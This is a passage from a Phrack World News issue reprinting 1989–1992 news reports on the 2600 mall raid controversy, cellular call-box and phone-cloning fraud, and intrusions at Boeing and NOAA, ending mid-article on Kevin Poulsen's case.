- whom said, "You aren't selling anything in my mall without a vendors permit!"
-
- Possible Secret Service involvement was supported by a 19 year-old college
- student known as the "Lithium Bandit," who told Newsbytes, "I got to the mall
- about 6:15 and saw the group being detained by approximately 5 Arlington County
- police and 5 security guards. When I walked over to see what was going on, a
- security guard asked me for an ID and I refused to show it, saying that I was
- about to leave. The guard said that I couldn't leave and told me that I had to
- see a police officer. When I did, the officer demanded ID and, when I once
- again refused, he informed me that I could be detained for up to 10 hours for
- refusing to produce identification. I gave in and produced my school ID which
- the police gave to the security people who copied down my name and social
- security number."
-
- Lithium Bandit continued, "When I asked the police what was behind this action,
- I was told that they couldn't answer but that 'the Secret Service is involved
- and we are within our rights doing this."
-
- The boy says he and others later went to the Arlington police station to get
- more information and were told only that there was a report of the use of a
- stolen credit card and two officers were sent to investigate. "They later
- admitted that it was 5 (officers). While I was detained, I heard no mention of
- a credit card and there was no one arrested."
- Marc Rotenberg, director of CPSR's Washington office, told Newsbytes, "I have
- really no details on the incident yet, but I am very concerned about the
- reports. Confiscation of CPSR applications, if true, is outrageous. I will
- find out more facts on Monday."
-
- Newsbytes was told by the Pentagon City Mall office that any information
- concerning the action would have to come from the director of security, Al
- Johnson, who was not available until Monday. The Arlington Country Police
- referred Newsbytes to a "press briefing recording" which had not been updated
- since the morning before the incident.
-
- Corley told Newsbytes, "There have been no reports of misbehavior by any of
- these people. They were obviously singled out because they were hackers. It's
- as if they were being singled out as an ethnic group. I admire the way the
- group responded -- in a courteous fashion. But it is inexcusable that it
- happened. I will be at the next Washington meeting to insure that it doesn't
- happen again."
-
- The manager of one of New York state's largest malls provided background
- information to Newsbytes on the rights of malls to police those on mall
- property, saying, "The primary purpose of a mall is to sell. The interior of
- the mall is private property and is subject to the regulations of the mall.
- The only requirement is that the regulations be enforced in an even-handed
- manner. I do not allow political activities in my mall so I could not make an
- exception for Democrats. We do allow community groups to meet but they must
- request space at least two weeks before the meeting and must have proper
- insurance. Our regulations also say that groups of more than 4 may not
- congregate in the mall."
-
- The spokeswoman added that mall security can ask for identification from those
- who violate regulations and that they may be barred from the mall for a period
- of 6 months.
-
- She added, "Some people feel that mall atriums and food courts are public
- space. They are not and the industry is united on this. If the malls were to
- receive tax benefits for the common space and public service in snow removal
- and the like, it could possibly be a public area but malls are taxed on the
- entire space and are totally private property, subject to their own
- regulations. If a group of 20 or more congregated in my mall, they would be
- asked to leave."
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Confusion About Secret Service Role In 2600 Washington Raid November 7, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Barbara E. McMullen & John F. McMullen (Newsbytes)
-
- WASHINGTON, D.C.-- In the aftermath of an action on Friday, November 6th by
- members of the Pentagon City Mall Police and police from Arlington County,
- Virginia in which those attending a 2600 meeting at the mall were ordered from
- the premises, conflicting stories continue to appear.
-
- Attendees at the meeting have contended to Newsbytes that members of the mall
- police told them that they were "acting on behalf of the Secret Service." They
- also maintain that the mall police confiscated material from knapsacks and took
- film from someone attempting to photograph the action and a list of the names
- of security officers that one attendee was attempting to compile.
-
- Al Johnson, chief of security for the mall, denied these allegations to
- Newsbytes, saying "No one said that we were acting on behalf of the Secret
- Service. We were merely enforcing our regulations. While the group was not
- disruptive, it had pulled tables together and was having a meeting in our food
- court area. The food court is for people eating and is not for meetings. We
- therefore asked the people to leave."
-
- Johnson denied that security personnel took away any film or lists and further
- said "We did not confiscate any material. The group refused to own up to who
- owned material on the tables and in the vicinity so we collected it as lost
- material. If it turns out that anything did belong to any of those people,
- they are welcome to come in and, after making proper identification, take the
- material."
-
- In a conversation early on November 9th, Robert Rasor, Secret Service agent-in-
- charge of computer crime investigations, told Newsbytes that having mall
- security forces represent the Secret Service is not something that was done
- and, that to his knowledge, the Secret Service had no involvement with any
- Pentagon City mall actions on the previous Friday.
-
- A Newsbytes call to the Arlington County police was returned by a Detective
- Nuneville who said that her instructions were to refer all questions concerning
- the matter to agent David Adams of the Secret Service. She told Newsbytes that
- Adams would be providing all information concerning the involvement of both the
- Arlington Police and the Secret Service in the incident.
-
- Adams told Newsbytes "The mall police were not acting as agents for the Secret
- Service. Beyond that, I can not confirm or deny that there is an ongoing
- investigation."
-
- Adams also told Newsbytes that "While I cannot speak for the Arlington police,
- I understand that their involvement was due to an incident unrelated to the
- investigation."
-
- Marc Rotenberg, director of the Washington office of Computer Professionals for
- Social Responsibility (CPSR), told Newsbytes "CPSR has reason to believe that
- the detention of people at the Pentagon City Mall last Friday was undertaken at
- the behest of the Secret Service, which is a federal agency. If that is the
- case, then there was an illegal search of people at the mall. There was no
- warrant and no indication of probable illegal activity. This raises
- constitutional issues. We have undertaken the filing of a Freedom of
- Information Act (FOIA) request to determine the scope, involvement and purpose
- of the Secret Service in this action."
-
- 2600 meetings are held on the evening of the first Friday of each month in
- public places and malls in New York City, Washington, Philadelphia, Cambridge,
- St. Louis, Chicago, Los Angeles and San Francisco. They are promoted by 2600
- Magazine: The Hacker Quarterly and are attended by a variety of persons
- interested in telecommunications and so-called "hacker issues". The New York
- meeting, the oldest of its kind, is regularly attended by Eric Corley a/k/a
- Emmanuel Goldstein, editor and publisher of 2600, hackers, journalists,
- corporate communications professionals and other interested parties. It is
- known to have been the subject of surveillance at various times by law
- enforcement agencies conducting investigations into allegations of computer
- crime.
-
- Corley told Newsbytes "While I'm sure that meetings have been observed by law
- enforcement agencies, this is the only time that we have been harassed. It's
- definitely a freedom of speech issue." Corley also that he plans to be at the
- December meeting in Washington "to insure that it doesn't happen again."
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Conflicting Stories In 2600 Raid; CRSR Files FOIA November 11, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Barbara E. McMullen & John F. McMullen (Newsbytes)
-
- WASHINGTON, D.C. -- In the on-going investigation of possible Secret Service
- involvement in the Friday, November 6th ejection of attendees at a "2600
- meeting" from the premises of the Pentagon City Mall, diametrically opposed
- statements have come from the same source.
-
- Al Johnson, chief of security for the Pentagon City Mall told Newsbytes on
- Monday, November 9th "No one said that we were acting on behalf of the Secret
- Service. We were merely enforcing our regulations. While the group was not
- disruptive, it had pulled tables together and was having a meeting in our food
- court area. The food court is for people eating and is not for meetings. We
- therefore asked the people to leave."
-
- On the same day, Johnson was quoted was quoted in a Communications Daily
- article by Brock Meeks as saying "As far as I'm concerned, we're out of this.
- The Secret Service, the FBI, they're the ones that ramrodded this whole thing."
-
- Newsbytes contacted Meeks to discuss the discrepancies in the stories and were
- informed that the conversation with Johnson had been taped and was available
- for review. The Newsbytes reporter listened to the tape (and reviewed a
- transcript). On the tape, Johnson was clearly heard to make the statement
- quoted by Meeks.
-
- He also said "maybe you outta call the Secret Service, they're handling this
- whole thing. We, we were just here", and, in response to a Meeks question
- about a Secret Service contact, "Ah.. you know, I don't have a contact person.
- These people were working on their own, undercover, we never got any names, but
- they definitely, we saw identification, they were here."
-
- Newsbytes contacted Johnson again on the morning of Wednesday, November 11 and
- asked him once again whether there was any Secret Service involvement in the
- action. Johnson said "No, I told you that they were not involved." When it was
- mentioned that there was a story in Communications Daily, quoting him to the
- contrary, Johnson said "I never told Meeks that. There was no Secret Service
- involvement"
-
- Informed of the possible existence of a tape quoting him to the contrary.
- Johnson said "Meeks taped me? He can't do that. I'll show him that I'm not
- fooling around. I'll have him arrested."
-
- Johnson also said "He asked me if the Secret Service was involved; I just told
- him that, if he thought they were, he should call them and ask them."
-
- Then Johnson again told Newsbytes that the incident was "just a mall problem.
- There were too many people congregating."
-
- [NOTE: Newsbytes stands by its accurate reporting of Johnson's statements. It
- also affirms that the story by Meeks accurately reflects the material taped
- during his interview]
-
- In a related matter, Marc Rotenberg, director of the Washington office of
- Computer Professionals For Social Responsibility (CPSR) has announced that CPSR
- has filed a Freedom of Information Act (FOIA) request with the Secret Service
- asking for information concerning Secret Service involvement in the incident.
-
- Rotenberg told Newsbytes that the Secret Service has 10 days to respond to the
- request. He also said that CPSR "is exploring other legal options in this
- matter."
-
- The Secret Service, in earlier conversations with Newsbytes, has denied that
- the mall security was working on its behalf.
-
- In the incident itself, a group attending the informal meeting was disbanded
- and, according to attendees, had property confiscated. They also contend that
- security guards took film from someone photographing the confiscation as well
- as a list that someone was making of the guard's names. In his November 9th
- conversation with Newsbytes, Johnson denied that security personnel took away
- any film or lists and further said "We did not confiscate any material. The
- group refused to own up to who owned material on the tables and in the vicinity
- so we collected it as lost material. If it turns out that anything did belong
- to any of those people, they are welcome to come in and, after making proper
- identification, take the material."
-
- 2600 meetings are promoted by 2600 Magazine: The Hacker Quarterly and are held
- on the evening of the first Friday of each month in public places and malls in
- New York City, Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los
- Angeles and San Francisco. They are regularly attended by a variety of persons
- interested in telecommunications and so-called "hacker issues".
- _______________________________________________________________________________
-
- Secret Service Grabs Computers In College Raid December 17, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Joe Abernathy (The Houston Chronicle)(Page A37)
-
- The Secret Service has raided a dorm room at Texas Tech University, seizing the
- computers of two Houston-area students who allegedly used an international
- computer network to steal computer software.
-
- Agents refused to release the names of the two area men and a third man, a
- former Tech student from Austin, who were not arrested in the late-morning raid
- Monday at the university in Lubbock. Their cases will be presented to a grand
- jury in January.
-
- The three, in their early 20s, are expected to be charged with computer crime,
- interstate transport of stolen property and copyright infringements.
-
- "The university detected it," said Agent R. David Freriks of the Secret Service
- office in Dallas, which handled the case. He said Texas Tech computer system
- operators noticed personal credit information mixed in with the software
- mysteriously filling up their data storage devices.
-
- The former student admitted pirating at least $6,000 worth of games and
- programs this summer, Freriks said.
-
- The raid is the first to fall under a much broader felony definition of
- computer software piracy that could affect many Americans.
-
- Agents allege the three used the Internet computer network, which connects up
- to 15 million people in more than 40 nations, to make contacts with whom they
- could trade pirated software. The software was transferred over the network,
- into Texas Tech's computers and eventually into their personal computers.
-
- The Software Publishers Association, a software industry group chartered to
- fight piracy, contends the industry lost $1.2 billion in sales in 1991 to
- pirates.
-
- Although these figures are widely questioned for their accuracy, piracy is
- widespread among Houston's 450-plus computer bulletin boards, and even more so
- on the global Internet.
-
- "There are a lot of underground sites on the Internet run by university system
- administrators, and they have tons of pirated software available to download --
- gigabytes of software," said Scott Chasin, a former computer hacker who is now
- a computer security consultant.
-
- Freriks said the investigation falls under a revision of the copyright laws
- that allows felony charges to be brought against anyone who trades more than 10
- pieces of copyrighted software -- a threshold that would cover many millions of
- Americans who may trade copies of computer programs with their friends.
-
- "The ink is barely dry on the amendment, and you've already got law enforcement
- in there, guns blazing, because somebody's got a dozen copies of stolen
- software," said Marc Rotenberg, director of Computer Professionals for Social
- Responsibility, in Washington.
-
- "That was a bad provision when it was passed, and was considered bad for
- precisely this reason, giving a justification for over-reaching by law
- enforcement."
-
- Freriks said the raid also involved one of the first uses of an expanded right
- to confiscate computers used in crime.
-
- "Our biggest complaint has been that you catch 'em and slap 'em on the wrist,
- and then give the smoking gun back," he said.
-
- "So they've changed the law so that we now have forfeiture authority."
-
- The Secret Service already has been under fire for what is seen by civil
- libertarians as an overly casual use of such authority, which many believe has
- mutated from an investigative tool into a de facto punishment without adequate
- court supervision.
-
- _______________________________________________________________________________
-
- Hacker Taps Into Freeway Call Box -- 11,733 Times October 23, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Jeffrey A. Perlman (Los Angeles Times)(Page A3)
-
- SANTA ANA, CA -- An enterprising hacker reached out and touched someone 11,733
- times in August -- from a freeway emergency call box in Orange County.
-
- A computer that monitors the county's emergency call boxes attributed 25,875
- minutes of calls to the mysterious caller who telephoned people in countries
- across the globe, according to a staff report prepared for the Orange County
- Transportation Authority.
-
- "This is well over the average of roughly 10 calls per call box," the report
- noted.
-
- About 1,150 bright yellow call boxes have been placed along Orange County's
- freeways to connect stranded motorists to the California Highway Patrol. But
- the caller charged all his calls to a single box on the shoulder of the Orange
- (57) Freeway.
-
- The hacker apparently matched the individual electronic serial number for the
- call box to its telephone number. It took an investigation by the transit
- authority, and three cellular communications firms to unravel the mystery, the
- report stated.
-
- Officials with the transit authority's emergency call box program were not
- available to comment on the cost of the phone calls or to say how they would be
- paid.
-
- But the report assured that "action has been taken to correct this problem. It
- should be noted that this is the first incident of this type in the five-year
- history of the program."
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Ring May Be Responsible For Freeway Call Box Scam October 24, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Jodi Wilgoren (Los Angeles Times)(Page B4)
-
- "Officials Believe A Hacker Sold Information to Others;
- LA Cellular Will Pay For The Excess Calls."
-
- COSTA MESA, CA -- As soon as he saw the August bill for Orange County's freeway
- call boxes, analyst Dana McClure guessed something was awry.
-
- There are typically about 12,000 calls a month from the 1,150 yellow boxes that
- dot the county's freeways. But in August, there were nearly that many
- registered to a single box on the Orange Freeway a half-mile north of Lambert
- Road in Brea.
-
- "This one stood out, like 'Whoa!'" said McClure, who analyzes the monthly
- computer billing tapes for the Orange County Transportation Authority. "It
- kicked out as an error because the number of minutes was so far over what it is
- supposed to be."
-
- With help from experts at LA Cellular, which provides the telephone service for
- the boxes, and GTE Cellular, which maintains the phones, McClure and OCTA
- officials determined that the calls -- 11,733 of them totaling 25,875 minutes
- for a charge of about $1,600 -- were made because the hacker learned the code
- and telephone number for the call boxes.
-
- Because of the number of calls in just one month's time, officials believe
- there are many culprits, perhaps a ring of people who bought the numbers from
- the person who cracked the system.
-
- You'd have to talk day and night for 17 or 18 days to do that; it'd be
- fantastic to be able to make that many calls," said Lee Johnson of GTE
- Cellular.
-
- As with all cases in which customers prove they did not make the calls on their
- bills, LA Cellular will pick up the tab, company spokeswoman Gail Pomerantz
- said. Despite the amount of time involved, the bill was only $1,600, according
- to OCTA spokeswoman Elaine Beno, because the county gets a special emergency
- service rate for the call box lines.
-
- The OCTA will not spend time and money investigating who made the calls;
- however, it has adjusted the system to prevent further fraud. Jim Goode of LA
- Cellular said such abuses are rare among cellular subscribers, and that such
- have never before been tracked to freeway call boxes.
-
- The call boxes contain solar cellular phones programmed to dial directly to the
- California Highway Patrol or a to a GTE Cellular maintenance line. The calls
- on the August bill included 800 numbers and 411 information calls and hundreds
- of calls to financial firms in New York, Chicago and Los Angeles. That calls
- were placed to these outside lines indicates that the intruders made the
- connections from another cellular phone rather than from the call box itself.
- Each cellular phone is assigned a seven-digit Mobile Identification Number that
- functions like a phone number, and a 10- or 11-digit Electronic Service Number
- unique to that particular phone (similar to the vehicle identification number
- assigned every automobile). By reprogramming another cellular phone with the
- MIN and ESN of the call box phone, a hacker could charge all sorts of calls to
- the OCTA.
-
- "That's not legally allowable, and it's not an easy thing to do," McClure said,
- explaining that the numbers are kept secret and that reprogramming a cellular
- phone could wreck it. "Most people don't know how to do that, but there are
- some."
-
- Everyone involved with the call box system is confident that the problem has
- been solved, but officials are mum as to how they blocked potential cellular
- banditry.
-
- "I don't think we can tell you what we did to fix it because we don't want it
- to happen again," Beno said with a laugh.
- _______________________________________________________________________________
-
- FBI Probes Possible Boeing Computer Hacker November 6, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Taken from Reuters
-
- SEATTLE -- Federal authorities said Friday they were investigating the
- possibility that a hacker had breached security and invaded a Unix-based
- computer system at the aerospace giant Boeing Co.
-
- The Federal Bureau of Investigation confirmed the probe after a Seattle radio
- station reported it received a facsimile of a Boeing memorandum warning
- employees the security of one of its computer networks may have been violated.
-
- The memo, which had been sent from inside Boeing, said passwords may have been
- compromised, a reporter for the KIRO station told Reuters.
-
- KIRO declined to release a copy of the memorandum or to further identify its
- source.
-
- The memorandum said the problem involved computers using Unix, the open-ended
- operating system used often in engineering work.
-
- Sherry Nebel, a spokeswoman at Boeing's corporate headquarters, declined
- comment on the memorandum or the alleged breach of security and referred all
- calls to the FBI.
-
- An FBI spokesman said the agency was in touch with the company and would
- discuss with it possible breaches of federal law.
-
- No information was immediately available on what type of computer systems may
- have been violated at Boeing, the world's largest commercial aircraft
- manufacturer.
-
- The company, in addition, acts as a defense contractor and its business
- includes work on the B-2 stealth bomber, NASA's space station and the "Star
- Wars" project.
-
- Boeing is a major user of computer technology and runs a computer services
- group valued at $1 billion.
-
- Much of the company's engineering work is conducted using computer -aided
- design (CAD) capabilities. Boeing currently is pioneering a computerized
- technique which uses 2,000 computer terminals to design its new 777 twinjet.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- FBI Expands Boeing Computer Hacker Probe November 9, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Samuel Perry (Reuters)
-
- SEATTLE -- Federal authorities expanded their investigation of a computer
- hacker or hackers suspected of having invaded a computer system at aerospace
- giant and defense contractor Boeing Co.
-
- FBI spokesman Dave Hill said the investigation was expanded after the agency
- discovered similar infiltrations of computer records belonging to the U.S.
- District Court in Seattle and another government agency.
-
- "We're trying to determine if the same individuals are involved here," he said,
- adding more than one suspect may be involved and the purpose of the intrusion
- was unclear.
-
- "We don't think this was an espionage case," Hill said, adding federal agents
- were looking into violations of U.S. law barring breaking into a computer of
- federal interest, but that no government classified data was believed to be
- compromised.
-
- "I'm not sure what their motivation is," he told Reuters.
-
- The FBI confirmed the investigation after a Seattle radio station reported it
- received a facsimile of a Boeing memorandum warning employees that the security
- of one of its computer networks may have been violated.
-
- A news reporter at KIRO Radio, which declined to release the facsimile, said
- it was sent by someone within Boeing and that it said many passwords may have
- been compromised.
-
- Boeing's corporate headquarters has declined to comment on the matter,
- referring all calls to the FBI.
-
- The huge aerospace company, which is the world's largest maker of commercial
- jetliners, relies heavily on computer processing to design and manufacture its
- products. Its data processing arm operates $1.6 billion of computer equipment.
-
- No information was disclosed on what system at Boeing had been compromised.
- But one computer industry official said it could include "applications
- involving some competitive situations in the aerospace industry.
-
- The company is a defense contractor or subcontractor on major U.S. military
- programs, such as the B-2 stealth bomber, the advanced tactical fighter,
- helicopters, the NASA space station and the "Star Wars" missile defense system.
-
- Recently, Boeing has pioneered the unprecedented use of computer-aided design
- capabilities in engineering its new 777 twinjet. The design of the 777 is now
- mostly complete as Boeing prepares for final assembly beginning next year.
-
- That system, which uses three-dimensional graphics to replace a draftsman's
- pencil and paper, includes 2,000 terminals that can tap into data from around
- the world.
- _______________________________________________________________________________
-
- Hacker Breaches NOAA Net August 3, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~
- by Kevin Power (Government Computer News)(Page 10)
-
- As a recent breach of the National Oceanic and Atmospheric Administration's
- (NOAA) link to the Internet shows, the network not only benefits scientists but
- also attracts unwanted attention from hackers.
-
- NOAA officials said an intruder in May accessed the agency's TCP/IP network,
- seeking to obtain access to the Internet. The breach occurred on the National
- Weather Service headquarters' dial-in communications server in Silver Spring,
- Maryland, said Harold Whitt, a senior telecommunications engineer with NOAA.
-
- Cygnus Support, a Palo Alto, California, software company, alerted NOAA
- officials to the local area network security breach when Cygnus found that an
- outsider had accessed one of its servers from the NOAA modem pool and had
- attempted several long-distance phone calls.
-
- NOAA and Cygnus officials concluded that the perpetrator was searching for an
- Internet host, possibly to locate a games publisher, Whitt said. Fortunately,
- the hacker did no damage to NOAA's data files, he said.
-
- Whitt said intruders using a modem pool to tap into external networks are
- always a security concern. But organizations with Internet access seem to be
- hacker favorites, he said. "There's a lot of need for Internet security,"
- Whitt said.
-
- "You have to make sure you monitor the usage of the TCP/IP network and the
- administration of the local host. It's a common problem, but in our case we're
- more vulnerable because of tremendous Internet access," Whitt said.
-
- Whitt said NOAA's first response was to terminate all dial-in services
- temporarily and change all the numbers.
-
- Whitt said he also considered installing a caller-identification device for the
- new lines. But the phone companies have limited capabilities to investigate
- random incidents, he said.
-
- "It's very difficult to isolate problems at the protocol level," Whitt said.
- "We targeted the calls geographically to the Midwest.
-
- "But once you get into the Internet and have an understanding of TCP/IP, you
- can just about go anywhere," Whitt said.
-
- NOAA, a Commerce Department agency, has since instituted stronger password
- controls and installed a commercial dial-back security system, Defender from
- Digital Pathways Inc. of Mountain View, California.
-
- Whitt said the new system requires users to undergo password validation at dial
- time and calls back users to synchronize modems and log calls. Despite these
- corrective measures, Reed Phillips, Commerce's IRM director, said the NOAA
- incident underlies the axiom that networks always should be considered
- insecure.
-
- At the recent annual conference of the Federation of Government Information
- Processing Councils in New Orleans, Phillips said the government is struggling
- to transmit more information electronically and still maintain control over the
- data.
-
- Phillips said agencies are plagued by user complacency, a lack of
- organizational control, viruses, LAN failures and increasing demands for
- electronic commerce. "I'm amazed that there are managers who believe their
- electronic-mail systems are secure," Phillps said. "We provide a great deal of
- security, but it can be interrupted.
-
- "Security always gets hits hard in the budget. But the good news is vendors
- recognize our needs and are coming out with cheaper security tools," Phillips
- said.
-
- Phillips said the NOAA attack shows that agencies must safeguard a network's
- physical points because LANs present more security problems than centralized
- systems.
-
- "The perpetrator can dial in via a modem using the common services provided by
- the telephone company, and the perpetrator risks no personal physical harm. By
- gaining access to a single system on the network the perpetrator is then able
- to propagate his access rights to multiple systems on the network," Phillips
- said.
-
- "In many LAN environments a user need only log on the network once and all
- subsequent access is assumed to be authorized for the entire LAN. It then
- becomes virtually impossible for a network manager or security manager to track
- events of a perpetrator," he said.
- _______________________________________________________________________________
-
- Hackers Scan Airwaves For Conversations August 17, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Mark Lewyn (The Washington Post)(Page A1)
-
- "Eavesdroppers Tap Into Private Calls."
-
- On the first day of the Soviet coup against Mikhail Gorbachev in August 1991,
- Vice President Quayle placed a call to Senator John C. Danforth (R-Mo.) and
- assessed the tense, unfolding drama.
-
- It turned out not to be a private conversation.
-
- At the time, Quayle was aboard a government jet, flying to Washington from
- California. As he passed over Amarillo, Texas his conversation, transmitted
- from the plane to Danforth's phone, was picked up by an eavesdropper using
- electronic "scanning" gear that searches the airwaves for radio or wireless
- telephone transmissions and then locks onto them.
-
- The conversation contained no state secrets -- the vice president observed that
- Gorbachev was all but irrelevant and Boris Yeltsin had become the man to watch.
- But it remains a prized catch among the many conversations overhead over many
- years by one of a steadily growing fraternity of amateur electronics
- eavesdroppers who listen in on all sorts of over-the-air transmissions, ranging
- from Air Force One communications to cordless car-phone talk.
-
- One such snoop overheard a March 1990 call placed by Peter Lynch, a well-known
- mutual fund executive in Boston, discussing his forthcoming resignation, an
- event that later startled financial circles. Another electronic listener
- overheard the chairman of Popeye's Fried Chicken disclose plans for a 1988
- takeover bid for rival Church's Fried Chicken.
-
- Calls by President Bush and a number of Cabinet officers have been intercepted.
- The recordings of car-phone calls made by Virginia Governor L. Douglas Wilder
- (D), intercepted by a Virginia Beach restaurant owner and shared with Senator
- Charles S. Robb (D-Va.), became a cause ce'le'bre in Virginia politics.
-
- Any uncoded call that travels via airwaves, rather than wire, can be picked up,
- thus the possibilities have multiplied steadily with the growth of cellular
- phones in cars and cordless phones in homes and offices. About 41 percent of
- U.S. households have cordless phones and the number is expected to grow by
- nearly 16 million this year, according to the Washington-based Electronics
- Industry Association.
-
- There are 7.5 million cellular phone subscribers, a technology that passes
- phone calls over the air through a city from one transmission "cell" to the
- next. About 1,500 commercial airliners now have air-to-ground phones -- roughly
- half the U.S. fleet.
-
- So fast-growing is this new form of electronic hacking that it has its own
- magazines, such as Monitoring Times. "The bulk of the people doing this aren't
- doing it maliciously," said the magazine's editor, Robert Grove, who said he
- has been questioned several times by federal agents, curious about hackers'
- monitoring activities.
-
- But some experts fear the potential for mischief. The threat to business from
- electronic eavesdropping is "substantial," said Thomas S. Birney III, president
- of Cellular Security Group, a Massachusetts-based consulting group.
-
- Air Force One and other military and government aircraft have secure satellite
- phone links for sensitive conversations with the ground, but because these are
- expensive to use and sometimes not operating, some calls travel over open
- frequencies. Specific frequencies, such as those used by the president's
- plane, are publicly available and are often listed in "scanners" publications
- and computer bulletin boards.
-
- Bush, for example, was accidentally overheard by a newspaper reporter in 1990
- while talking about the buildup prior to the Persian Gulf War with Senator
- Robert Byrd (D-W.Va.). The reporter, from the Daily Times in Gloucester,
- Massachusetts quickly began taking notes and the next day, quoted Bush in his
- story under the headline, "Bush Graces City Airspace."
-
- The vice president's chief of staff, William Kristol, was overheard castigating
- one staff aide as a "jerk" for trying to reach him at home.
-
- Some eavesdroppers may be stepping over the legal line, particularly if they
- tape record such conversations.
-
- The Electronic Communications Privacy Act prohibits intentional monitoring,
- taping or distribution of the content of most electronic, wire or private oral
- communications. Cellular phone calls are explicitly protected under this act.
- Local laws often also prohibit such activity. However, some lawyers said that
- under federal law, it is legal to intercept cordless telephone conversations as
- well as conversations on an open radio channel.
-
- The government rarely prosecutes such cases because such eavesdroppers are
- difficult to catch. Not only that, it is hard to win convictions against
- "listening Toms," lawyers said, because prosecutors must prove the
- eavesdropping was intentional.
-
- "Unless they prove intent they are not going to win," said Frank Terranella,
- general counsel for the Association of North American Radio Clubs in Clifton,
- New Jersey. "It's a very tough prosecution for them."
-
- To help curb eavesdropping, the House has passed a measure sponsored by Rep.
- Edward J. Markey (D-Mass.), chairman of the House telecommunications and
- finance subcommittee, that would require the Federal Communications Commission
- to outlaw any scanner that could receive cellular frequencies. The bill has
- been sent to the Senate.
-
- But there are about 10 million scanners in use, industry experts report, and
- this year sales of scanners and related equipment such as antennas will top
- $100 million.
-
- Dedicated scanners, who collect the phone calls of high-ranking government
- officials the way kids collect baseball cards, assemble basements full of
- electronic gear.
-
- In one sense, the electronic eavesdroppers are advanced versions of the
- ambulance chasers who monitor police and fire calls with simpler scanning
- equipment and then race to the scene of blazes and accidents for a close look.
- But they also have kinship with the computer hackers who toil at breaking into
- complex computer systems and rummaging around other's files and software
- programs.
-
- One New England eavesdropper has four scanners, each one connected to its own
- computer, with a variety of frequencies programmed. When a conversation
- appears on a pre-selected frequency, a computer automatically locks in on the
- frequency to capture it. He also keeps a scanner in his car, for entertainment
- along the road.
-
- He justifies his avocation with a seemingly tortured logic. "I'm not going out
- and stealing these signals," he said. "They're coming into my home, right
- through my windows."
- _______________________________________________________________________________
-
- Why Cybercrooks Love Cellular December 21, 1989
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by William G. Flanagan and Brigid McMenamin (Forbes)(Page 189)
-
- Cellular phones provide cybercrooks with golden opportunities for telephone
- toll fraud, as many shocked cellular customers are discovering. For example,
- one US West Cellular customer in Albuquerque recently received a hefty
- telephone bill.
-
- Total: $20,000.
-
- Customers are not held responsible when their phone numbers are ripped off and
- misused. But you may be forced to have your cellular phone number changed.
- The cellular carriers are the big losers -- to the tune of an estimated $300
- million per year in unauthorized calls.
-
- How do the crooks get the numbers? There are two common methods: cloning and
- tumbling.
-
- Each cellular phone has two numbers -- a mobile identification number (MIN) and
- an electronic serial number (ESN). Every time you make a call, the chip
- transmits both numbers to the local switching office for verification and
- billing.
-
- Cloning involves altering the microchip in another cellular phone so that both
- the MIN and ESN numbers match those stolen from a bona fide customer. The
- altering can be done with a personal computer. The MIN and ESN numbers are
- either purchased from insiders or plucked from the airwaves with a legal
- device, about the size of a textbook, that can be plugged into a vehicle's
- cigarette lighter receptacle.
-
- Cellular companies are starting to watch for suspicious calling patterns. But
- the cloning may not be detected until the customer gets his bill.
-
- The second method -- tumbling -- also involves using a personal computer to
- alter a microchip in a cellular phone so that its numbers change after every
- phone call. Tumbling doesn't require any signal plucking. It takes advantage
- of the fact that cellular companies allow "roaming" -- letting you make calls
- away from your home area.
-
- When you use a cellular phone far from your home base, it may take too long for
- the local switching office to verify your MIN and ESN numbers. So the first
- call usually goes through while the verification goes on. If the numbers are
- invalid, no more calls will be permitted by that office on that phone.
-
- In 1987 a California hacker figured out how to use his personal computer to
- reprogram the chip in a cellular phone. Authorities say one of his pals
- started selling altered chips and chipped-up phones. Other hackers figured out
- how to make the chips generate new, fake ESN numbers every time the cellular
- phone was used, thereby short-circuiting the verification process. By 1991
- chipped-up, tumbling ESN phones were in use all over the U.S.
-
- The cellular carriers hope to scotch the problem of tumbling with instant
- verification. But that won't stop the clones.
-
- How do crooks cash in? Drug dealers buy (for up to $ 3,200) or lease (about
- $750 per day) cellular phones with altered chips. So do the "call-sell"
- crooks, who retail long distance calls to immigrants often for less than phone
- companies charge. That's why a victim will get bills for calls all over the
- world, but especially to Colombia, Bolivia and other drug-exporting countries.
- _______________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 12 of 13
-
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
- PWN PWN
- PWN Phrack World News PWN
- PWN PWN
- PWN Issue 41 / Part 2 of 3 PWN
- PWN PWN
- PWN Compiled by Datastream Cowboy PWN
- PWN PWN
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
-
-
- Government Cracks Down On Hacker November 2, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Donald Clark (The San Francisco Chronicle)(Page C1)
-
- "Civil Libertarians Take Keen Interest In Kevin Poulsen Case"
-
- Breaking new ground in the war on computer crime, the Justice Department plans
- to accuse Silicon Valley's most notorious hacker of espionage.
-
- Kevin Lee Poulsen, 27, touched off a 17-month manhunt before being arrested on
- charges of telecommunications and computer fraud in April 1991. A federal
- grand jury soon will be asked to issue a new indictment charging Poulsen with
- violating a law against willfully sharing classified information with
